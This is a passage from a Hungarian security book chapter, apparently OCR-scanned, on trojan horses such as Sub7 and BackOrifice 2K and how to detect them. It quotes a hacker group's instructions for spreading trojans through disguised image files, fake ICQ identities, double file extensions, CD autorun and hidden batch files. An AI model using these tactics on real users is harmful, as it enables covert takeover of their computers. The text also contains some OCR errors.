Különböző műveleteket hajt végre, amelyekről a fertőzött rendszer felhasz-
nálója mit sem tud. A trójai lehet egy hasznos program, amelybe meg nem
engedett kódot ágyaztak - ilyenkor a program a trójai program hordozója-
ként működik. De lehet egy olyan program is, amely látszólag hasznos funk-
ciókat hajt végre, de az engedélyezetlen kódja alapján olyan funkciókat is el-
végez, amelyekről a fertőzött rendszer felhasználójának nincsen tudomása.
A legegyszerűbb formájában a trójai egyszerűen egy kémprogram lehet,
amely információkat közvetít úgy, hogy a bevitt adatokat egy előre meg-
adott e-mail-címre küldi a következő online-kapcsolatnál. Ez a tipikus fel-
adata egy keylogger-nek, amely egy fájlba naplózza felhasználói bevitele-
ket, vagyis egy keyboard logfájlt készít. Jóval komplexebbek azok a progra-
mok, amelyek nemcsak adatokat küldenek el, hanem a számítógép távirá-
nyítását is lehetővé teszik. Itt mutatkozik meg a trójaiak és a klasszikus táv-
karbantartó programok hasonlósága, amelyek távoli számítógépek hálóza-
ton vagy telefonvonalon keresztüli kezelését teszik lehetővé.
Hogy az akciók lehetőségei milyenek lehetnek, az kiderül a továbbiak-
ban a különböző trójai programok leírásából. Azonban a trójai és a szárma-
zási helye között minden esetben kapcsolatnak kell lennie. Ez a kapcsolat
manapság legegyszerűbben az interneten vagy egy hálózaton keresztül va-
lósítható meg.
4.2.1 A szerver kiosztása
Ahhoz, hogy egy számítógép vagy annak az adatai elérhetővé váljanak,
telepíteni kell a szervert a cél-, illetve áldozat PC-re. A szerver a központi
program, amely lehetővé teszi az idegen számítógép „távirányítását". Csak
akkor lehet egy (internetes vagy hálózati) kapcsolaton keresztül az IP-cím
segítségével az idegen számítógépet elérni, ha a szerver - mint program -
aktív. Úgy képzelhető el, hogy a hacker megpróbálja elhelyezni vagyis
„szórni" a szervert a célrendszereken, hogy később egy klienssel célzottan
érhesse el a kitelepített szervereket. Az elérés csak akkor jöhet létre, ha a
fertőzött számítógépet az IP-címén keresztül sikerül megszólítania.
A hacker ilyenkor többnyire a következő problémákkal szembesül:
• A szervert el kell juttatni a felhasználóhoz, azaz „rá kell sózni".
* A felhasználót rá kell venni arra, hogy el is indítsa a szervert.
A hackernek meg kell kapnia a fertőzött PC aktuális IP-címét.
 Az elhelyezésre a hackereknek és az ilyen eszközök programozóinak is
rengeteg ötletük van. A trójaik lehetnek programba integrálva vagy fájlok-
hoz fűzve (erről később többet). Az egyik legismertebb eset egy trójai elrej-
tése a Linux SÁTÁN 1.0 programkódjában. Egy programozó hozzáfért egy
fejlesztői géphez, amelyen a SÁTÁN 1.0 forráskódja volt, módosította a
main()-funkcókat, megváltoztatta az Fpinget úgy, hogy a SÁTÁN indítása-
kor a jelszófájlba egy bejegyzés került, amellyel egy új felhasználót jegyzett
be, aki ezzel elérést kapott. Szerencsére a programozás nagyon hibás volt,
így nem keletkeztek jelentősebb károk. Ez az eset is mutatja, hogy a
hackerek nem csak az ismert módokat, mint pl. az e-mail mellékleteket, vá-
lasztják, hogy az áldozataikhoz jussanak.
A szerver futtatása általában két lépésből áll. Először is aktiválni, majd
telepítem és konfigurálni kell a szervert a rendszeren. Ez a lépés többnyire
az elhelyezéssel egybekötve történik, a szerverfájl mindjárt el is indul. A
második lépésben el kell érni, hogy a szerver az operációs rendszerrel
együtt automatikusan elinduljon, és a háttérben aktív legyen. Csak ezután
lehet célzottan megszólítani.
Az IP-címet a trójaitól és az eljárás módjától függően különböző utakon
kapja meg a hacker: az ICQ-val történő elhelyezés esetén a következő kap-
csolatnál közvetlenül lekérdezheti az áldozat aktuális IP-címét. A komplex
trójai programok, amelyeket később még bemutatunk, automatikus értesí-
tést adnak, ha a fertőzött számítógép a hálózatra, illetve az internetre lép.
Már csak az kell, hogy maga a hacker is online legyen a megfelelő időben,
és megkapja a támadáshoz szükséges IP-címet.
4.2.2 A kliens otthon marad, és vezérli a szervert
Ha egy trójai távirányítási funkciókat kínál, a támadónak egy vezérlő-
programra is szüksége van. Ezzel a programmal tud akciókat kiváltani a
szerverrel a számítógépek között fennálló kapcsolaton keresztül. A kliens
ehhez célzottan a fertőzött számítógép IP-címén szólítja meg a szervert.
Az akciók lehetnek viszonylag ártalmatlanok, mint a CD-ROM-meghajtó
nyitása, de kártékonyak is (adatok törlése) vagy kémkedők (adatok átadása).
Hogy a kliens milyen funkciókat tud vezérelni, az a felhasznált szoftver-
től függ. A szerver konfigurálásánál meg lehet határozni a klienshez küldés
módjait és az akciós lehetőségeket is, amelyeket a kliens el tud indítani. Ez-
zel a kliens az idegen számítógép irányítócentruma lesz. Hogy hogyan
használja ki ezt a veszélyes potenciált, az a támadótól függ.
4.2.3 Hogyan szerzik meg a hackerek az IP-t?
A trójai használatához tehát szükség van a fertőzött számítógép IP-jére.
Mivel a legtöbb felhasználó szolgáltatón keresztül létesít internet-
kapcsolatot, minden kapcsolódásnál egy másik, dinamikus IP-címet kap. Ez
megnehezíti a trójai szerver elérését, mert nem lehet tudni, hogy a fertő-
zött számítógép egyáltalán online-ban van-e, és ha igen, milyen IP cím
alatt. A legkönnyebben úgy lehet megkaparintani az aktuális IP-t, ha
mondjuk átvitel közben IRC-n vagy ICQ-n keresztül, tehát amikor fennáll
a kapcsolat a fertőzött számítógéppel, DOS parancssor-ra váltunk, és ott be-
írjuk: netstat - n. Ezután igen könnyű kiolvasni remote címekből a trójai
szerver IP-jét.
A kapcsolat könnyen
felismerhető
Egy másik lehetőség, ha nincs fennálló közveden online-kapcsolat, válo-
gatás nélkül címeket szkennelni. Ehhez a legtöbb trójainak integrált szkenneré
is van, amellyel meghatározott IP-tartományokat lehet tapogatni. És már
meg is lehet fogni a klienssel egy fertőzött számítógép szerverét, és irányí-
tani lehet azt. Ez így nagyon egyszerűen hangzik, de nem leéli feltétlenül
annak lennie. A különböző trójaiak leírása a továbbiakban következik.
Ha a szerver automatikus értesítésre van beállítva, az IP-keresés vi-
szonylag egyszerű. Amint a fertőzött számítógép kapcsolatba lép a hálózat-
tál, illetve az internettel, a szerver átküldi az aktuális IP-t a kliensnek,
amennyiben az éppen online van, vagy mail-ben küldi el az aktuális IP-t.
így tud a hacker célzottan rajtaütni a fertőzött számítógépen.
4.3 így álcázzák és terjesztik a trójaiakat
A veszélyes kis programok terjesztésére a legkülönbözőbb lehetőségeket
agyalták ki a programozók. A profik például más programokba integrálják a
trójaiakat, hogy könnyen és gyorsan tudják terjeszteni. A hobby-hackerek,
ha hiányoznak a programozási ismereteik, inkább más utakat választanak. A
trójaiak minden esetben veszélyesek, mert annak a szándékait uralják, aki a
szervert vezérli.
A következőkben nemcsak az egyszerű álcázásokkal ismerkedünk meg,
hanem a hobby-hackerek eljárásaiba is betekintünk. Erről az internet ide-
vágó fórumain olyan rengeteg információ gyűlt össze, hogy abból már iga-
zi „gyűjtemény" áll össze. A stratégiák egy része valóban profinak is mond-
ható, míg mások inkább csak a hobby-hackerek eszközei közé sorolhatók.
PC-felhasználóként mindenesetre ismernünk kell ezeket.
Hogy egy pillantást vethessünk a dolgok menetére, egy Defcon4 nevű
hackercsoport (csak csekély mértékben módosított) szövegét fogjuk hasz-
nálni.
„A szervert mail-ekén, ICQ-n vagy IRC-n keresztül küldjük. Képnek ál-
cázzuk (valami nem gyereknek való mindig jól jön) vagy toolnak, attól füg-
gően, hogy az áldozat mit kíván. Tedd fel hasznos programként a honlapod-
ra, vagy kérj meg egy baráti webmestert, hogy kínálja a honlapján, azt per-
sze nem kell elmondani, hogy trójait rejtettél bele. Ha már így elterjeszted a
szervert a nép körében, akkor nem rossz, ha megfelelő értesítőfunkciókkal
rendelkező trójait használsz. Ezek arra valók, hogy értesítsenek, amint az ál-
dozat online van, és mail-ben vagy ICQ-n keresztül üzenetet küldjenek ne-
ked, amelyben bizonyos információkat kapsz az áldozatról és számítógépé-
ről, pl. az IP-t, amire szükséged van, hogy bekösd a szervert."
4.3.1 A trójaiakat fájlokba integrálják
A szervert össze lehet kötni különböző fájlokkal, pl. .GiF, JPG, tehát
képekkel, vagy be lehet építeni segédprogramokba, tehát EXE fájlokba.
Ehhez a hálón nagyon sok program áll rendelkezésre. Egyes trójai kitek-
nek, mint például a Sub7-nek, olyan funkcióik vannak speciális konfiguráci-
ós fájlokban (Editserver), amelyekkel a legkülönbözőbb fájlokkal lehet ösz-
szekötni a konfigurált szervert, sőt még a szerver ikonját is meg lehet vál-
toztatni. Ez akkor célszerű, ha az áldozatot valóban meg akarjuk téveszteni
egy fájllal. Ehhez minden ikon felhasználható, amelyeket a programok
egyébként is használnak: a képek JPEG fájlként megtévesztőén hasonlíta-
nak az eredetire, így a vélt DOC fájlok egy megnyugtató Winword ikont
tudnak prezentálni.
A szerver fájlokhoz fűzése a következő előnnyel jár: ki lehet indulni ab-
ból, hogy az áldozat nem fogja gyanúsnak találni vagy rossz szándékot felté-
telezni arról a programról vagy a képről, amelybe a szerver be van ágyazva.
Ikon-kiosztás
a szervernek
Olyan programnak, amelybe a szervert ágyazzák, különösen alkalmasak
az animációk és a gag-programok. Ezeket mindenki szívesen küldi és néze-
geti.
4.3.2 Álcázás a WinZip-pel
A trójai ügyes elhelyezéséhez a világ leggyakrabban használt tömörítő
programjának, a WinZip-nek a programbeállításait is használják egyes
hackerek. Ilyenkor egy új WinZip archívot készítenek, és más fájlokkal (ké-
pek stb.) együtt csomagolják össze a szervert. A run command after
unzipping parancs az archívból történő kicsomagolás után azonnal elindítja
a szervert. Ezután a melt server after installation szerver opció segít, mert ez
a sikeres telepítés után azonnal törli a szervert. Az archív ártalmatlan önki-
csomagoló fájllá változik, és máris van egy tökéletesen álcázott trójai.
 4.3.3 A trójaiakat az ICQ-val is tovább lehet adni
Ön is kedveli ezt a kényelmes kommunikációs szolgáltatást az
interneten? Van már egy listája kedvelt „beszélgetőpartnereiről"? Akkor
valószínűleg érdekelni fogják azok a lehetőségek, amelyek az ICQ-nak kö-
szönhetően adódnak a hackereknek.
Nos, ez így megy (megint a Defcon4 „információi" szerint):
Először begyűjtünk minden eszközt, amire szükségünk lesz. Ezek az
alábbiak lennének:
• A Sub7 trójai (magyarázat 1. lent)
• MICQ (többször elindítja az ICQ-t)
• ICQ-AutoAuthorize/IP-Unhider Patch
• The Thing (kis trójai)
A MICQ egy program, amely lehetővé teszi az ICQ több példányának a
párhuzamos indítását. Ezzel egyidejűleg lehet online két vagy több UIN.
Az ICQ Auto-Authorize/IP-Unhider-Patch megengedi UIN-ek hozzáfű-
zését a saját kontaktlistához, anélkül, hogy a másiknak ehhez engedélyt kel-
lene adnia. Ezen kívül az infóban minden személy IP-jét megmutatja, ak-
kor is, ha ez a funkció nálunk nincs aktiválva (az IP-ről és kiosztásáról lásd
az alapismeretekről szóló fejezetet).
A The Thing egy kis trójai. A legtöbb trójai a sok szolgáltatás miatt már
eleve akár 400 Kbájt is lehet. Tehát akinek van egy kis tapasztalata, az
könnyen kiszámolhatja magának, hogy mi rejtőzik egy ilyen fájl mögött. A
The Thing ezzel szemben csak kb. 40 Kbájt (nagyjából annyi, mint egy na-
gyobb kép). Amint ez a fájl az áldozat gépén egyszer lefutott, megnyílik egy
hátsó kapu, amelyen át más fájlokat lehet feltölteni és végrehajtani.
Álcázás az ICQ-val
Ha lehet, akkor amilyen jól csak lehet, álcázzuk a saját identitásunkat. A
legjobb, ha generálunk egy új ICQ-UIN-t (a MICQ-val többel is online
lehetünk egyszerre). Férfi áldozatokhoz általában a női identitás az ideális.
Megkeressük az áldozatot a trójai terjesztéséhez, és hozzáfűzzük a kon-
taktlistához. Ekkor reális az esélye annak, hogy az áldozat észreveszi a tá-
madást, hiszen a kontaktlistát a beleegyezése nélkül bővítették. Ilyen eset-
ben már csak ártatlan kifogások segítenek, amelyben olyan fogalmak, mint
hacker meg hasonlók garantáltan nem fordulnak elő.
Ha a fájl küldéséhez az ICQ-t használjuk, a régebbi ICQ-verziók egy kis
búgját is kihasználhatjuk: ezek általában nem mutatják meg a fájlvégződé-
seket. Ha egy fájlt photo.jpg.exe nek nevezünk el, átvitelkor csak a photo.jpg
jelenik meg, és ez nem különösebben feltűnő.
A hacker ráér
A szervert általában nem az első kapcsolatfelvételnél küldjük el az ICQ-n
keresztül. Sokkal jobb, ha kezdetnek elküldünk egy pár tiszta fájlt. Egy pár
nap múlva azután már sokkal kisebb feltűnést kelt bármilyen állomány.
Az áldozatot persze nem kényszerítjük, hogy elfogadja a fájlt. Ha a fájlt
visszautasítja az ICQ-n keresztül, még mindig el lehet neki küldeni egy pár
nappal később egy anonim mail-fiókról.
„Ha az áldozat tényleg gyanítja, hogy egy fájl mögött vírus vagy trójai
rejtőzik, egyszerűen várni kell pár napot, valamit fecsegni, és aztán egy na-
gyon kicsi fájllal megpróbálkozni, amilyen például a The Thing. Mint már
mondtuk, ez a trójai túl kicsi ahhoz, hogy feltűnjön."
4.3.4 Elég egy CD és az automatikus lejátszás
funkció
A trójai kihelyezésének egyik kedvelt módja a CD-n keresztüli terjesz-
tés. Ezt többnyire a közeli környezetben található célok megtámadásához
választják. Ehhez egy program vagy egy játék kalózmásolatát használja a
hacker. A CD-ROM-on megváltoztatja az Autorun.inf fájlt.
Egy Autorun.inf
szövege, amely egy
trójaira utal
 Az alapelv a következő: a felhasználó beteszi a CD-ROM-ot a meghaj-
tójába, és a szerver automatikusan elindul a játék bevezetőjével együtt,
anélkül, hogy észrevehető lenne. Ehhez a Windows 9.x automatikus leját-
szás funkcióját használja ki a hacker. Ez egy CD-ROM felismerése után
azonnal kiértékeli a megfelelő Autorun.inf fájl adatait és végrehajtja a fájlt.
Esetünkben tehát a szervert is.
4.3.5 A lemezek majdnem ugyanígy működnek
Ez az alapelv a lemezekre is átvihető, és ekkor a következőképpen mű-
ködik.
A hacker létrehoz egy mappát a lemezen, amelynek például Film a neve.
Ebben a mappában létrehoz még két további mappát; az egyik neve mond-
juk Film Data, a másiké Xxdata.
A Film Data mappába másolja a tulajdonképpeni filmet (*.AVI vagy
*.MPEG fájlt), a másik Xxdata mappába másolja a szervert.
Most az editorral készít egy batch-fájlt (kötegelt parancsfájlt) a lemez
főkönyvtárában, és Film.bat néven menti.
A batch-fájl elindítja a
szervert
Ha ezt a lemezt most megkapja a felhasználó, és elindítja a Film.bat-ot, a
trójai is elindul. Az @echo parancs szolgál arra, hogy a user előtt ne jelenjen
meg a futtatás DOS-ablakban.
4.3.6 További terjesztési stratégiák
A trójaiak terjesztésének különböző stratégiái immár világossá váltak. A
közvetlen kapcsolatok az ICQ-n keresztül elsősorban a közelebbi és a távo-
labbi ismerősök területén könnyítik meg a terjesztést, az internet-kapcsolat
anonimitása védi a tettest, és támadhatóvá teszi az áldozatot. A terjesztés
CD-n keresztül is inkább a hobby-hackereknek való, mert a hordozó csak a
tartalma révén (játék, feltört program stb.) válik igazán vonzóvá.
A talán legfontosabb és legsikeresebb eljárás a letöltésre kínált anyagokkal
és a vírusokkal való terjesztés. Ebben a két esetben más késztetések vannak a
háttérben, mert az ilyen tömeges fertőzések mind a tervezés, mind a kiérté-
kelés/felhasználás szempontjából sokkal ráfordítás-igényesebbek.
Egy trójait gyorsan nagy számban elhelyezni nemcsak ideális álcázást kí-
ván - a Kurnyikova-vírus jó példa a sikert ígérő környezetekre, amelyek
magas rákattintási és ezzel installálási arányt garantálnak. Emellett termé-
szetesen terjesztési stratégiát is kell fejleszteni, amely lehetővé teszi az elhe-
lyezést világszerte több ezernyi számítógépen. Ez a legegyszerűbben fér-
gekkel (warm) érhető el, amelyek úgy szaporodnak, hogy a levelezési címlis-
ták minden címére elküldik magukat. Ezzel szemben egy letöltésre kínált
anyagot először fáradságosán ismertté kell tenni, mielőtt a megfelelő szá-
mú kihelyezés megtörténhetne. Addig pedig a terv még csődöt is mondhat.
Egy nagy számban kihelyezett trójaiból beérkező adatokat természete-
sen ki is kell értékelni, mert nem minden trójai kínál valóban érdekes ada-
tokat a hackereknek. Az olcsó szörfözésre utaló jelszavak viszonylag érdek-
telenek. Fontosabbak a hálózati hozzáférési jelszavak stb.
Természetesen egy trójaival jelentős károkat lehet okozni, de ha csupán a
nagy mértékű pusztítás a cél, egy vírus végülis sokkal sikeresebb. Ez utóbbinál
nem kell célzott támadásokkal és hasonlókkal bajlódnia a hackernek, hanem
egyszerűen az időfaktorra (dátumvezérlés) vagy a használati gyakoriságra (a
rombolás x fájlindítás után indul) épít. A trójai tulajdonképpen minden esetben
olyan támadási technikát jelent, amelynél fontosabb a hozzáférés, mint a rombolás.
4.3.7 Mit csinálnak a hobby-hackerek a trójaiakkal?
A kérdés az első hallásra figyelemreméltóan hangzik, de ha belegondo-
lunk, a legtöbb ember ugyan kíváncsi, de technikailag nem elég képzett ah-
hoz, hogy célzottan jelszavakat vagy hasonlókat kutasson ki. Az adatok
azonnali tönkretétele inkább személyes ellenségeskedésből fakad, és erre,
mint azt majd a következő fejezet mutatja, alkalmasabbak a vírusok. Persze
azért ez a motívum sem zárható ki. És mostanra már tudják, milyen straté-
giákkal tudja egy hacker célzottan megközelíteni az áldozatát.
 A legtöbben azonban, akik csak úgy kísérletezgetnek egy kicsit ezzel, tu-
lajdonképpen nem is tudják, hogy valójában mit is akarnak kezdeni az áldozat
gépén. Általában kíváncsiság és egy adag vandalizmus rejtőzik a háttérben,
amint azt a következő, az interneten található „szabályokból" is láthatjuk.
„Ha sok fantáziával és több ICQ-UIN-nal végre sikerült egy trójait elül-
tetnünk az áldozat számítógépén, nem kell mindjárt nekikezdeni a mulat-
ságnak. Először túrd át pár napig az áldozat gépét, és nézd meg az összes
adatát. Áthelyezhetnél fájlokat, információkat fűzhetnél dokumentumok-
hoz, megváltoztathatnád a startlapját, és tovább tanulmányozhatnád a tró-
jai sok funkcióját.
Legyetek szívesek, ne nagyon bántsátok az áldozat adatait. Mindannyian
tudjuk, hogy az már nem túl vidám dolog, ha fontos adatokat veszítünk el.
Amint hozzáférünk az áldozat adataihoz, elsőként töröljük a
C. \windows\netstat.exe-t. Én személy szerint teljes mértékben az adatmeg-
semmisítés ellen vagyok. Ezzel a Windows programmal viszont minden
hálózati kapcsolatot meg lehet nézni...azért ez förtelmes lenne, nem?"

Önfertőzés ügyetleneknek
Azoknak a hobby-hackereknek, akik kísérletezés közben saját magukat
fertőzik meg trójaival, a következő tanácsot tartja készenlétben az internet:
„Ha az ember az első fertőzési kísérleteknél saját magát fertőzi meg, akkor
egyszerűen kliensként összeköttetésbe lép saját magával (a saját gép IP-je
mindig 127.0.01!), fogja, és törli a szervert!"
4.4 Sub7 - egy trójai rémisztő lehetőségekkel
A Sub7, egy backdoor-trójai, 1999 márciusában került a hálóra az első ver-
ziókban, egy Mobman álnéven működő programozó „válaszaként" a NetBusra
és a BackOrifice-vz. Azóta ez a backdoor-tool folyamatosan tökéletesedik és új
funkciókkal bővül. A Sub7 a legkomolyabb és a neten legelterjedtebb trójaiak
közé tartozik. Hogy világszerte milyen sok rendszer volt Sub7-tel fertőzött,
illetve hogy még most is az, azt az úgynevezett portszkennek mutatják, ame-
lyek „több mint elég" fertőzött rendszert jelentenek.
Pillanatkép egy trójairól
4.4.1 Támad a Sub7
A Sub7 tágabb értelemben egyfajta távkarbantartó programhoz hasonlít-
ható. A távkarbantartó szoftver, azaz a remote access tool vagy remote
administration tool, a rendszergazdák távkarbantartó és konfigurációs mun-
káját könnyíti meg a hálózatba kötött számítógépeken, nagyobb hálózatok-
ban. Ismert remote access program pl. a PCAnywher a Symantectől.
Destruktív módon felhasználva, egy ilyen szoftverrel a teljes ellenőrzést
át lehet venni egy fertőzött számítógép felett. Ez azt jelenti, hogy a megfe-
lelő kliens tulajdonosa minden olyan funkciót végrehajthat a fertőzött gé-
pen, amit a gép tulajdonosa is megtehet. Az egyes funkciók későbbiekben
történő említése bizonyosan hozzá fog járulni az ilyen szoftverből eredő
potenciális veszélyek felméréséhez.
Egy olyan trójai, mint a Sub7, több fájlból áll, amelyek egymáshoz kap-
csolódva gondoskodnak a támadó gép és a fertőzött gép kapcsolatáról.
 A Sub7 szervere
A szerver ahhoz szükséges, hogy a műveleti konzolok (kliens) között
kapcsolatot teremtsen, és irányítsa a fertőzött gépet. Ennek a modulnak te-
hát feltétlenül telepítve kell lennie az irányítandó rendszerre ahhoz, hogy
Sub7-es fertőzöttségről lehessen beszélni.
Minden működést a kliens irányít
A kliensre azért van szükség, hogy a trójai egyes funkcióit inicializálja, és
ezzel irányítóközpontként működhessen. A klienst teljesen hagyományos
Windows-programként kell elképzelni, grafikus felülettel, gombokkal, me-
nükkel és kiválasztómezőkkel, amelyekről egészen kényelmesen el lehet in-
dítani az egyes funkciókat.
A Sub7-nek kapcsolata
van a szerverre!
Edit-Server
Az Edit-Server egy kiegészítő program, amellyel a szervert lehet konfi-
gurálni. Itt lehet például rögzíteni, hogy miként telepítse magát a célgépre
a szerver, továbbá itt lehet meghatározni a szerver nevét is. Ehhez jönnek
egyes ICQ-beállítások (értesítés, jelszókikémlelés, UIM-kicsomagolás), a
port, amelyről a trójai kommunikál (az újabb verziókban véletlenszerű is
lehet - itt a port a futási időben derül ki), és hogy a felhasznált port rejtve
legyen-e. Azt is meg lehet adni, hogy a szerver közvetlenül a telepítés után
azonnal elinduljon-e, és hogy egy másik futtatható fájlhoz kapcsolódjon-e,
hogy az a szervert az installáció előtt elrejtse.
Pillantás a Sub7
váltóközpontjára
így előkészítve sokféleképpen közelíti meg a támadó az áldozatát, és
megkísérli a célrendszerre telepíteni a szervert.
4.5 BackOrifice 2K - Hálózati eszköz vagy
támadás a Microsoft ellen
1998. augusztus elején mutatta be a texasi Cult of the Dead Cow
hackercsoport a BackOrifice Windows Remote Administration Tool-t egy
hackertalálkozón, Las Vegasban. Egy ügyesen programozott kliens/szerver
alkalmazásról volt szó, amely trójai falóként észrevétlenül tudott futni egy
Windows 9x operációs rendszeren. Ugyanezen év augusztus 7-ig a progra-
mot több mint 35 ezerszer töltötték le a CDC honlapjáról.
A BackOrifice célja - állította a hackercsoport - a Windows 95/98 alatti
súlyos biztonsági hiányosságok feltárása. És ehhez a program nem a Win-
dows operációs rendszer valamiféle búgjait vagy belső dokumentálatlan
API-jeit használja, hanem kizárólag dokumentált Windows funkcióhíváso-
kat.
A Microsoft válasza nem váratott magára sokáig, bár azt nem ismerték
el, hogy Windows 9x alatt biztonsági problémák lennének.
A 2000-ben a Cult of the Dead Cow (CDC) kihozta a BackOrifice új
verzióját: a BO2K-t. A CDC ezzel a verzióval „trójainak" kikiáltott prog-
ramjának a hírén akart javítani, és új képességekkel bővítette, így például a
magasfokú titkosítással, amely csaknem lehetetlenné teszi, hogy az átvitt
adatok egy harmadikhoz kerüljenek. Különösen ennek kellett a BO2K-t
érdekessé tenni a hálózati rendszergazdák számára. A hackereket azonban
ezek a dolgok nem nagyon érdekelhették, mert a BackOrifice ezután is az
egyik legkedveltebb trójai maradt.
 4.5.1 A BO2K és összetevői
íme egy áttekintés a legfontosabb fájlokról és funkcióikról a távkarban-
tartási funkciók és a trójai működés komplex együttműködésében.
Fájl Funkció
bo2k.exe Ez a szerver. Ha elindul, automatikusan a C:\Windows\System könyvtár-
ba másolja magát. A Registry-be is bejegyzi magát úgy, hogy minden
Windows-indításkor automatikusan aktiválódjon. Ha a szerver csak egy-
szer is elindul, a gép már megfertőződött. A szervert kiegészítő részek-
kel (pluginek) még bővíteni lehet.
bo2kgui.exe A kliens a BO2K „látható" része. A grafikus felhasználói felületen keresz-
tül lehet a fertőzött PC-t távirányítani, anélkül, hogy különösebb ismere-
tekre lenne szükség róla. Mielőtt a kliens a szerverrel kapcsolatba tudna
lépni, néhány dolgot még be kell állítani rajta (jelszó stb.). Az IP (ez a cí-
me egy PC-nek az interneten) is szükséges a kliens és a szerver ösz-
szekötéséhez.
bo2kcfg.exe Ezzel a programmal lehet fontos beállításokat (kódolás, port, amelyen a
szerver és a kliens összekapcsolódnak, a szerver neve, amelyen a
rendszerkönyvtárba másolódik stb.) végezni a szerveren, és kisebb bő-
vítéseket (pluginek) hozzáfűzni.
Fájlok és funkcióik együttműködése
A BO2K legfontosabb fájljaihoz jön még néhány plugin:
Fájl Funkció
bo2k_inetcmd.dll Lényegében ezek a szerver alapfunkciói. Ez a plugin gondoskodik
arról, hogy fájlokat lehessen kicserélni.
enc_serpent.dll A SERPENT feladata, hogy az adatok kódoltan közlekedjenek a kli-
ens és a szerver között.
io_stcpio.dll Ez a plugin az első pillantásra ugyan nem nyújt új lehetőségeket, de
ez kódolja a TCP-csomagok headerét. így ezeket nem lehet BO2K-
adatforgalomként (Traffic) felismerni.
srv_rattler.dll Ez a plugin látja el az értesítési funkciókat: ha a szerver elindult, a
Rattler mailben elküldi az áldozat IP-jét.
B02K pluginek
4.6 így ismerjük fel a trójait a rendszerünkben
Most, hogy a trójai falovak bevetésének a lehetőségei és potenciális ve-
szélyei ismertté váltak, felmerül a kérdés, nem vagyunk-e már magunk is
fertőzöttek. Ezért szeretnék itt néhány lehetőséget bemutatni, hogyan le-
het felismerni és leküzdeni egy rendszerben a trójai vírusokat. A gyakorlat-
lan felhasználónak ez nehéznek tűnhet, mivel az ilyen programok keresése
gyakran beavatkozásokat igényel a rendszerbe, illetve a Registry-be. Van-
nak azonban olyan programok, amelyek jelentősen megkönnyítik a stan-
dard trójaiak felkutatását.
4.6.1 Vírus- és trójai-szkenner
Alapvetően minden rendszerben mindig kell telepített vírusvizsgálónak
lennie. Továbbá feltétlenül szükséges, hogy ez állandóan aktualizálva le-
gyen, hiszen szinte naponta fedeznek fel új trójaiakat.
Az első vizsgálat előtt figyeljünk arra, hogy a Minden fájl ellenőrzése vagy
hasonló funkció aktív legyen. Ezt a gyártók gyakran nem állítják be előze-
tesen, mert a szkennelés így túl sokáig tarthat. Arra is figyelnünk kell, hogy
a szkenner ne törölje azonnal a fertőzött fájlokat, mert egyes trójaiak szer-
zői biztonsági intézkedéseket építettek a programjaikba az eltávolításnak e
módja ellen, és ez a vírusvizsgálónak jelentős problémákat okozhat, Sőt bi-
zonyos esetekben még ahhoz is vezethet, hogy a rendszer használhatatlan-
ná válik - vagy jobban mondva: a gép totál lefagy. Mobman például beépí-
tett egy ilyen funkciót a Sub7-be.
Ha a vírusvizsgáló fertőzést talál, a megtisztítás különböző lehetőségeit
fogja javasolni. Először - mint mondtuk - tekintsünk el az érintett fájlok
törlésétől, hogy elkerüljük az esetleges károkat. Próbáljuk meg a fájlokat
izolálni, illetve karanténba tenni.
Ha a vírusvizsgáló nem talál fertőzött fájlokat, az még messze nem je-
lenti azt, hogy a számítógép tiszta. A trójai rejtőzködhet - és megtéveszthe-
ti a víruskeresőt. Hogy az ilyen esetekben mit tehetünk, azt a következő
szakasz részletezi.
A trójaiak leküzdésének most következő módjánál nagyon óvatosnak
kell lennünk. Ha nem vagyunk biztosak magunkban, inkább kérjünk taná-
csot szakembertől.
 4.6.2 AutoRun bejegyzések
Egy trójai csak akkor működik, ha a rendszerindítással együtt elindul. Ez
azt jelenti, hogy a szervernek a rendszer hátterében állandóan futnia kell,
hogy online kapcsolat esetén kész legyen parancsokat fogadni a klienstől.
Autostart (Indítópult)-mappa - kevésbé valószínű
Klasszikus változat az automatikusan indítandó programok indítására az
autostart (Indítópult)-mappa. Ez az indítási lehetőség azonban nagyon való-
színűtlen, mert nagyon nagy a felfedezés valószínűsége.
Az Indítópultot a következőképpen lehet ellenőrizni: közvetlenül a Start
menüből: Start Programok Indítópult vagy C:\Windows\Startmenu\Progra-
mokMndítópult. Az olyan rendszereknél, mint a Windows NT, a mappát a
felhasználói profilokon keresztül lehet megtalálni (C:\WinNT\Profiles\
Username \Startmenü\Programok \Indítópult).
Itt aztán szokatlan dolgok után kell kutatni, és esetleg programokat, il-
letve parancsikonokat kell törölni, amelyeket nem ismerünk, és egy trójait
indíthatnának el.
A Win.ini a Windows 3.x-es időkben volt érdekes
Régebben nagyon kedvelt módszer volt a Win.ini bejegyzésein keresztül
indítani a trójaiakat. Hogy ezt kizárjuk, írjuk be a Start/Futtatásba a
sysedit.exe-t.
Nézzük meg a Load és a Run paraméterek mögötti bejegyzéseket. De
persze a parancsokat többnyire rengeteg üres karakterrel álcázzák a para-
méter-megnevezések mögött, hogy ne legyenek rögtön láthatóak. Gördít-
sük az alsó gördítősávot egyszerűen jobbra, míg a sor végét is látjuk.
Szükség esetén távolítsuk el a gyanús bejegyzéseket.
System.ini - elég ritka
Ebben a fájlban a shell= paraméter alatt fordulhat elő bejegyzés. Óvato-
san! Itt már van egy Explorer.exe nevű bejegyzés, ezt semmiképpen se töröl-
jük! Az Explorer.exe után azonban még további bejegyzések következhet-
nek. A System.ini-t ugyanúgy nyitjuk meg szerkesztésre, mint a Win.ini-t.
autoexec.bat - DOS-os hulladék, kis rizikófaktorral
Itt is óvatosnak kell lenni a törléssel, mert ide is bejegyzi magát néhány
ártalmatlan program. A trójaiak ritkán használják ezt a lehetőséget. Mivel
azonban ez a lehetőség is adott, hát megemlítjük. Az autoexec.bat-ot is a
sysedit.exe-vel lehet megnézni és szerkeszteni.
config.sys - csak a szokatlan eszközmeghajtók veszélyesek
Néhány ritka trójai a Windows 95/98-s rendszerek eszköz-meghajtója-
ként is álcázza magát. Ezeket a trójaiakat azonban nehéz realizálni, és sze-
rencsére nagyon ritkák is. A config.sys szintén a sysedit.exe-vel lelhető fel.
winstart.bat vagy control.ini - lehetséges, de nagyon ritka
Ha a winstart.bat-ban felismerhető egy bejegyzés, ez rendszerint azt je-
lenti: egy parancssor egy fájl másolását írja elő, amelyet az utolsó rendszer-
indítás előtt töröltek. Eddig alig ismertek olyan trójaiak, amelyek ezt az
utat használnák. A control.ini-ben is el lehet helyezni egy bejegyzést az au-
tomatikus indítás céljából- de ez is nagyon ritka.
4.6.3 Windows Registry - ez már izgalmas
A regisztrációs adatbázisban megnevezett útvonalak mappákként jelen-
